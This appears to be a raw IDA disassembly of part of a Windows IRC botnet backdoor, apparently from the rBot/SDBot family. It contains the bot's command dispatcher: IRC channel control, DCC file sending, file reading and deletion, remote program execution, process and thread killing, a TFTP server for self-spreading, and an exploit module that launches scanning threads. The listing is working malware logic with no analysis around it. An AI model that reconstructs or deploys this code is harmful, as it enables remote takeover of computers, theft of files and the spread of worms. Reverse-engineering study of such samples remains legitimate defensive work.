		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410C28
		push	esi
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset aSSSS	; "%s %s %s :%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	0FEh
		push	eax
		push	[ebp+arg_0]
		call	sub_415140
		push	esi
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__15 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Gethost: "...
		push	eax
		call	sub_413812
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_410C28:				; CODE XREF: sub_40CC09+3FC7j
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__16 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Unable to"...
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_410C40:				; CODE XREF: sub_40CC09+3FB6j
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_409675
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	edi
		push	offset a_e_1_0bEnz__17 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Gethost: "...
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 24h
		jmp	loc_411E05
; ---------------------------------------------------------------------------


loc_410C87:				; CODE XREF: sub_40CC09+1A7Cj
					; sub_40CC09+1A93j
		push	offset aR	; "r"
		push	edi
		call	sub_414F8F
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_410D01
		mov	ebx, 0FFh
		push	esi
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		call	sub_415D5E
		add	esp, 0Ch


loc_410CB0:				; CODE XREF: sub_40CC09+40D6j
		test	eax, eax
		jz	short loc_410CE1
		push	1
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		push	esi
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		call	sub_415D5E
		add	esp, 20h
		jmp	short loc_410CB0
; ---------------------------------------------------------------------------


loc_410CE1:				; CODE XREF: sub_40CC09+40A9j
		push	esi
		call	sub_414E31
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__18 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Read file"...
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	loc_4106B1
; ---------------------------------------------------------------------------


loc_410D01:				; CODE XREF: sub_40CC09+408Fj
		push	edi
		push	offset a_e_1_0bEnz__19 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Read file"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_410D0C:				; CODE XREF: sub_40CC09+1A4Ej
					; sub_40CC09+1A65j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	offset asc_4253FC ; "\n"
		push	esi
		call	sub_414FC0
		push	esi
		call	sub_408ED5
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_410D4C
		push	offset a_e_1_0bCmd_m_d ; ".e.(1.0b) ( cmd.m.d.l	) .»».	Error sen"...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_410D4C:				; CODE XREF: sub_40CC09+4137j
		push	esi
		push	offset a_e_1_0bCmd_m_0 ; ".e.(1.0b) ( cmd.m.d.l	) .»».	Commands:"...
		jmp	loc_411DF6
; ---------------------------------------------------------------------------


loc_410D57:				; CODE XREF: sub_40CC09+1A20j
					; sub_40CC09+1A37j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_41217B
		push	eax
		call	sub_4085B9
		test	eax, eax
		pop	ecx
		jnz	short loc_410D88
		push	offset a_e_1_0bMirc_m_ ; ".e.(1.0b) ( mirc.m.d.l ) .»».	 Client	n"...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_410D88:				; CODE XREF: sub_40CC09+4173j
		push	offset a_e_1_0bMirc__0 ; ".e.(1.0b) ( mirc.m.d.l ) .»».	 Command "...
		jmp	loc_410FA9
; ---------------------------------------------------------------------------


loc_410D92:				; CODE XREF: sub_40CC09+19F2j
					; sub_40CC09+1A09j
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_40517E
		push	edi
		push	offset a_e_1_0bFile__1 ; ".e.(1.0b) ( file.m.d.l ) .»».	 List: %s"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_410DAD:				; CODE XREF: sub_40CC09+19C4j
					; sub_40CC09+19DBj
		push	14h
		lea	eax, [ebp+var_610]
		push	ebx
		push	eax
		call	sub_413890
		push	edi
		lea	eax, [ebp+var_5FC]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_413812
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	80h
		push	eax
		call	sub_413D8A
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_4F8]
		push	eax
		lea	eax, [ebp+var_5FC]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDcc_m_6 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Send File"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	12h
		push	eax
		call	sub_4132BE
		add	esp, 40h
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_618]
		push	ebx
		push	eax
		push	offset sub_409DBE
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_410E7D


loc_410E67:				; CODE XREF: sub_40CC09+4272j
		cmp	[ebp+var_468], ebx
		jnz	loc_411B4A
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_410E67
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_40CC09+425Cj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bDcc_m_0 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Failed to"...
		jmp	loc_411B3B
; ---------------------------------------------------------------------------


loc_410E8E:				; CODE XREF: sub_40CC09+1996j
					; sub_40CC09+19ADj
		push	edi
		call	dword_41F118	; DeleteFileA
		test	eax, eax
		jz	short loc_410EA1
		push	edi
		push	offset a_e_1_0bFile__2 ; ".e.(1.0b) ( file.m.d.l ) .»».	 Deleted "...
		jmp	short loc_410EAC
; ---------------------------------------------------------------------------


loc_410EA1:				; CODE XREF: sub_40CC09+428Ej
		push	offset a_e_1_0bFile__0 ; ".e.(1.0b) ( file.m.d.l ) .»».	"
		call	sub_4084F4
		push	eax


loc_410EAC:				; CODE XREF: sub_40CC09+4296j
		lea	eax, [ebp+var_1C4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_410EC5:				; CODE XREF: sub_40CC09+1968j
					; sub_40CC09+197Fj
		push	edi
		call	sub_413D7F
		push	eax
		call	sub_4126C5
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_410EE2
		push	offset a_e_1_0bProce_1 ; ".e.(1.0b) ( process.m.d.l ) .»».  Proce"...
		jmp	short loc_410EE7
; ---------------------------------------------------------------------------


loc_410EE2:				; CODE XREF: sub_40CC09+42D0j
		push	offset a_e_1_0bProce_2 ; ".e.(1.0b) ( process.m.d.l ) .»».  Faile"...


loc_410EE7:				; CODE XREF: sub_40CC09+42D7j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_41045A
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_41045A
; ---------------------------------------------------------------------------


loc_410F20:				; CODE XREF: sub_40CC09+193Aj
					; sub_40CC09+1951j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4123B8
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_410F42
		push	offset a_e_1_0bProce_3 ; ".e.(1.0b) ( process.m.d.l ) .»».  Proce"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_410F42:				; CODE XREF: sub_40CC09+432Dj
		push	offset a_e_1_0bProce_4 ; ".e.(1.0b) ( process.m.d.l ) .»».  Faile"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_410F4C:				; CODE XREF: sub_40CC09+190Cj
					; sub_40CC09+1923j
		push	edi
		call	dword_44CD18	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_410F89
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_44CC98	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_410FA4
		push	dword ptr [eax]


loc_410F6F:				; CODE XREF: sub_40CC09+4399j
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDns_m_d ; ".e.(1.0b) ( dns.m.d.l	) .»».	Lookup:	%"...
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	loc_40F1B2
; ---------------------------------------------------------------------------


loc_410F89:				; CODE XREF: sub_40CC09+4350j
		push	edi
		call	dword_44CD5C	; gethostbyname
		cmp	eax, ebx
		jz	short loc_410FA4
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_44CD64	; inet_ntoa
		push	eax
		jmp	short loc_410F6F
; ---------------------------------------------------------------------------


loc_410FA4:				; CODE XREF: sub_40CC09+4362j
					; sub_40CC09+4389j
		push	offset a_e_1_0bDns_m_0 ; ".e.(1.0b) ( dns.m.d.l	) .»».	Couldn't "...


loc_410FA9:				; CODE XREF: sub_40CC09+38E8j
					; sub_40CC09+413Ej ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_40F1B2
; ---------------------------------------------------------------------------


loc_410FBC:				; CODE XREF: sub_40CC09+18DEj
					; sub_40CC09+18F5j
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_415140
		push	edi
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz__20 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Server ch"...
		push	eax
		call	sub_413812
		add	esp, 18h
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_410FE1:				; CODE XREF: sub_40CC09+18B0j
					; sub_40CC09+18C7j
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen	; "open"
		push	ebx
		call	dword_44CC5C	; ShellExecuteA
		test	eax, eax
		push	edi
		jz	short loc_411001
		push	offset a_e_1_0bShell_m ; ".e.(1.0b) ( shell.m.d.l ) .»».  File op"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_411001:				; CODE XREF: sub_40CC09+43ECj
		push	offset a_e_1_0bShell_0 ; ".e.(1.0b) ( shell.m.d.l ) .»».  Couldn'"...
		jmp	loc_41066C
; ---------------------------------------------------------------------------


loc_41100B:				; CODE XREF: sub_40CC09+1882j
					; sub_40CC09+1899j
		mov	al, [edi]
		mov	byte_42A334, al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset a_e_1_0bEnz__21 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Prefix ch"...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_411020:				; CODE XREF: sub_40CC09+1854j
					; sub_40CC09+186Bj
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_41217B
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_41217B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_412AB7
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_413812
		add	esp, 1Ch
		jmp	loc_410851
; ---------------------------------------------------------------------------


loc_41106B:				; CODE XREF: sub_40CC09+1826j
					; sub_40CC09+183Dj
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	loc_40CFCD
		push	edi
		call	sub_413D7F
		cmp	eax, 2710h
		pop	ecx
		jge	loc_40CFCD
		push	offset dword_4321D8
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	sub_40B26F
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_41F050	; Sleep
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_452134[eax]
		call	dword_44CD70	; closesocket
		push	[ebp+var_10]
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		push	dword_45213C[eax]
		call	dword_41F130	; TerminateThread
		push	edi
		call	sub_413D7F
		imul	eax, 134h
		push	edi
		mov	dword_45213C[eax], ebx
		call	sub_413D7F
		imul	eax, 134h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_452028[eax], bl
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_411116:				; CODE XREF: sub_40CC09+17F8j
					; sub_40CC09+180Fj
		push	edi
		push	offset off_4321D4
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411154
		call	sub_413487
		cmp	eax, ebx
		jle	short loc_41114A
		push	eax
		push	offset a_e_1_0bThreads ; ".e.(1.0b) ( threads.m.d.l ) .»».  Stopp"...


loc_411136:				; CODE XREF: sub_40CC09+2638j
					; sub_40CC09+291Aj ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_411957
; ---------------------------------------------------------------------------


loc_41114A:				; CODE XREF: sub_40CC09+4525j
		push	offset a_e_1_0bThrea_0 ; ".e.(1.0b) ( threads.m.d.l ) .»».  No ac"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_411154:				; CODE XREF: sub_40CC09+451Cj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40CFCD
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_411170:				; CODE XREF: sub_40CC09+45D8j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40CFCD
		push	esi
		call	sub_413D7F
		push	eax
		call	sub_4133F9
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_411197
		push	offset a_e_1_0bThrea_1 ; ".e.(1.0b) ( threads.m.d.l ) .»».  Kille"...
		jmp	short loc_41119C
; ---------------------------------------------------------------------------


loc_411197:				; CODE XREF: sub_40CC09+4585j
		push	offset a_e_1_0bThrea_2 ; ".e.(1.0b) ( threads.m.d.l ) .»».  Faile"...


loc_41119C:				; CODE XREF: sub_40CC09+458Cj
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4111CC
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_4111CC:				; CODE XREF: sub_40CC09+45A5j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_411170
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_4111E8:				; CODE XREF: sub_40CC09+17CAj
					; sub_40CC09+17E1j
		cmp	[ebp+var_C], ebx
		jz	loc_41217B
		push	edi
		push	[ebp+var_C]
		call	sub_413DE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_41217B
		push	esi
		push	offset aS_1	; "%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	esi
		push	offset a_e_1_0bEnz__22 ; ".e.(1.0b) ( enz.m.d.l	) .»».	IRC Raw: "...
		jmp	loc_410A33
; ---------------------------------------------------------------------------


loc_41121F:				; CODE XREF: sub_40CC09+179Cj
					; sub_40CC09+17B3j
		push	edi
		push	offset aPartS	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	offset a_e_1_0bEnz__23 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Parted ch"...
		jmp	loc_410A33
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_40CC09+176Ej
					; sub_40CC09+1785j
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	offset a_e_1_0bEnz__24 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Joined ch"...
		jmp	loc_410907
; ---------------------------------------------------------------------------


loc_411258:				; CODE XREF: sub_40CC09+1740j
					; sub_40CC09+1757j
		push	edi
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		push	edi
		push	offset a_e_1_0bEnz__25 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Nick chan"...
		jmp	loc_410A33
; ---------------------------------------------------------------------------


loc_411271:				; CODE XREF: sub_40CC09+1705j
					; sub_40CC09+171Aj
		mov	al, byte_7420EA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_7420EA
		jz	loc_40CFCD
		mov	ecx, edx


loc_411288:				; CODE XREF: sub_40CC09+4687j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_411288
		cmp	al, bl
		jz	loc_40CFCD
		mov	[ebp+arg_18], edx


loc_41129D:				; CODE XREF: sub_40CC09+4952j
		push	8
		call	sub_413506
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 100h
		jle	short loc_4112EC
		push	ecx
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExploit ; ".e.(1.0b) ( exploit.m.d.l ) .»».  Alrea"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 20h
		jmp	loc_411552
; ---------------------------------------------------------------------------


loc_4112EC:				; CODE XREF: sub_40CC09+46AEj
		or	[ebp+var_200], 0FFFFFFFFh
		cmp	dword_425A58, ebx
		mov	[ebp+var_204], 1Eh
		mov	[ebp+var_218], 7
		mov	[ebp+var_214], 0B4h
		mov	[ebp+arg_0], ebx
		jz	short loc_41135D
		mov	eax, [ebp+arg_18]
		mov	edi, offset dword_425A58
		lea	esi, [eax-0Ah]


loc_411327:				; CODE XREF: sub_40CC09+4736j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411343
		inc	[ebp+arg_0]
		add	edi, 3Ch
		cmp	[edi], ebx
		jnz	short loc_411327
		jmp	short loc_41135D
; ---------------------------------------------------------------------------


loc_411343:				; CODE XREF: sub_40CC09+472Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_200], eax
		imul	ecx, 3Ch
		mov	ecx, dword_425A58[ecx]
		mov	[ebp+var_21C], ecx


loc_41135D:				; CODE XREF: sub_40CC09+4711j
					; sub_40CC09+4738j
		cmp	[ebp+var_21C], ebx
		jz	loc_411566
		push	10h
		lea	eax, [ebp+arg_10]
		pop	esi
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		mov	[ebp+arg_10], esi
		push	[ebp+arg_4]
		call	dword_44CC84	; getsockname
		mov	al, [ebp+var_8B3]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_1D4], eax
		push	[ebp+var_1D4]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415140
		xor	eax, eax
		cmp	[ebp+var_8B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_330]
		push	eax
		call	sub_415440
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4113FF


loc_4113DD:				; CODE XREF: sub_40CC09+47F4j
		cmp	eax, ebx
		jz	short loc_4113FF
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_330]
		push	30h
		push	eax
		call	sub_415440
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4113DD


loc_4113FF:				; CODE XREF: sub_40CC09+47D2j
					; sub_40CC09+47D6j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_220], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_1F4], eax
		lea	eax, [ebp+var_320]
		push	eax
		mov	[ebp+var_1F0], 1
		mov	[ebp+var_1F8], esi
		call	sub_413D8A
		mov	edi, offset off_42A3DC
		push	offset byte_438A10
		push	edi
		call	sub_413C30
		add	esp, 14h
		test	eax, eax
		jz	short loc_411469
		push	edi
		lea	eax, [ebp+var_2A0]
		push	80h
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_41146F
; ---------------------------------------------------------------------------


loc_411469:				; CODE XREF: sub_40CC09+4847j
		mov	[ebp+var_2A0], bl


loc_41146F:				; CODE XREF: sub_40CC09+485Ej
		cmp	[ebp+var_1F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411481
		mov	eax, offset aSequential	; "Sequential"


loc_411481:				; CODE XREF: sub_40CC09+4871j
		push	[ebp+var_204]
		lea	ecx, [ebp+var_330]
		push	[ebp+var_214]
		push	[ebp+var_218]
		push	[ebp+var_21C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExplo_3 ; ".e.(1.0b) ( exploit.m.d.l ) .»».  %s Po"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	8
		push	eax
		call	sub_4132BE
		add	esp, 2Ch
		mov	[ebp+var_210], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_330]
		push	ebx
		push	eax
		push	offset sub_406782
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_210]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_41150B


loc_4114F9:				; CODE XREF: sub_40CC09+4900j
		cmp	[ebp+var_1EC], ebx
		jnz	short loc_411526
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_4114F9
; ---------------------------------------------------------------------------


loc_41150B:				; CODE XREF: sub_40CC09+48EEj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bExplo_2 ; ".e.(1.0b) ( exploit.m.d.l ) .»».  Faile"...
		push	eax
		call	sub_413812
		add	esp, 0Ch


loc_411526:				; CODE XREF: sub_40CC09+48F6j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411545
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_411545:				; CODE XREF: sub_40CC09+4920j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		pop	ecx


loc_411552:				; CODE XREF: sub_40CC09+46DEj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_41129D
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_411566:				; CODE XREF: sub_40CC09+2CA1j
					; sub_40CC09+475Aj
		push	offset a_e_1_0bExplo_4 ; ".e.(1.0b) ( exploit.m.d.l ) .»».  Faile"...
		jmp	loc_411949
; ---------------------------------------------------------------------------


loc_411570:				; CODE XREF: sub_40CC09+16DBj
					; sub_40CC09+16F0j
		push	4
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_411594
		push	offset a_e_1_0bTftpd_m ; ".e.(1.0b) ( tftpd.m.d.l ) .»».  Already"...


loc_411581:				; CODE XREF: sub_40CC09+1AD6j
					; sub_40CC09+1BE1j
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	loc_410436
; ---------------------------------------------------------------------------


loc_411594:				; CODE XREF: sub_40CC09+4971j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_4115B7
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_704]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_4115CB
; ---------------------------------------------------------------------------


loc_4115B7:				; CODE XREF: sub_40CC09+4994j
		mov	edi, 104h
		lea	eax, [ebp+var_704]
		push	edi
		push	eax
		push	ebx
		call	dword_41F060	; GetModuleFileNameA


loc_4115CB:				; CODE XREF: sub_40CC09+49ACj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_4115DB
		mov	esi, offset byte_42A390


loc_4115DB:				; CODE XREF: sub_40CC09+49CBj
		push	esi
		lea	eax, [ebp+var_600]
		push	edi
		push	eax
		call	sub_413D8A
		mov	eax, dword_42A320
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_4F4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4F8], ebx
		mov	[ebp+var_708], eax
		lea	eax, [ebp+var_4F0]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_600]
		push	eax
		lea	eax, [ebp+var_704]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4F4]
		push	offset a_e_1_0bTftpd_0 ; ".e.(1.0b) ( tftpd.m.d.l ) .»».  Server "...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	4
		push	eax
		call	sub_4132BE
		add	esp, 38h
		mov	[ebp+var_4FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		push	offset sub_405A21
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_4FC]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_4116AB


loc_411695:				; CODE XREF: sub_40CC09+4AA0j
		cmp	[ebp+var_468], ebx
		jnz	loc_410436
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_411695
; ---------------------------------------------------------------------------


loc_4116AB:				; CODE XREF: sub_40CC09+4A8Aj
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bTftpd_1 ; ".e.(1.0b) ( tftpd.m.d.l ) .»».  Failed "...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_4116BC:				; CODE XREF: sub_40CC09+16B1j
					; sub_40CC09+16C6j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_4116DB
		push	edi
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jz	short loc_4116DB
		push	edi
		call	sub_413D7F
		pop	ecx
		jmp	short loc_4116E0
; ---------------------------------------------------------------------------


loc_4116DB:				; CODE XREF: sub_40CC09+4ABCj
					; sub_40CC09+4AC7j
		mov	eax, dword_42A324


loc_4116E0:				; CODE XREF: sub_40CC09+4AD0j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_484], eax
		xor	eax, eax
		cmp	[ebp+var_8B0], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_470], eax
		jz	short loc_411713
		lea	eax, [ebp+var_588]
		push	esi
		push	eax
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_41173E
; ---------------------------------------------------------------------------


loc_411713:				; CODE XREF: sub_40CC09+4AF7j
		lea	eax, [ebp+var_2E8]
		push	104h
		push	eax
		call	dword_41F0FC	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1D4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	sub_415628
		add	esp, 14h


loc_41173E:				; CODE XREF: sub_40CC09+4B08j
		lea	eax, [ebp+var_588]
		push	eax
		call	sub_413E90
